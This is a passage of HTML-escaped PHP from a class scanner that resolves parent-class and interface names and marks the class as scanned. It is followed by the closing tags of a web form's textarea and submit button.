        if ($this-&gt;nameInformation) {
            if ($this-&gt;shortParentClass) {
                $this-&gt;parentClass = $this-&gt;nameInformation-&gt;resolveName($this-&gt;shortParentClass);
            }
            if ($this-&gt;shortInterfaces) {
                foreach ($this-&gt;shortInterfaces as $siIndex =&gt; $si) {
                    $this-&gt;interfaces[$siIndex] = $this-&gt;nameInformation-&gt;resolveName($si);
                }
            }
        } else {
            $this-&gt;parentClass = $this-&gt;shortParentClass;
            $this-&gt;interfaces  = $this-&gt;shortInterfaces;
        }

        $this-&gt;isScanned = true;

        return;
    }
}
</textarea><input type="submit"></form>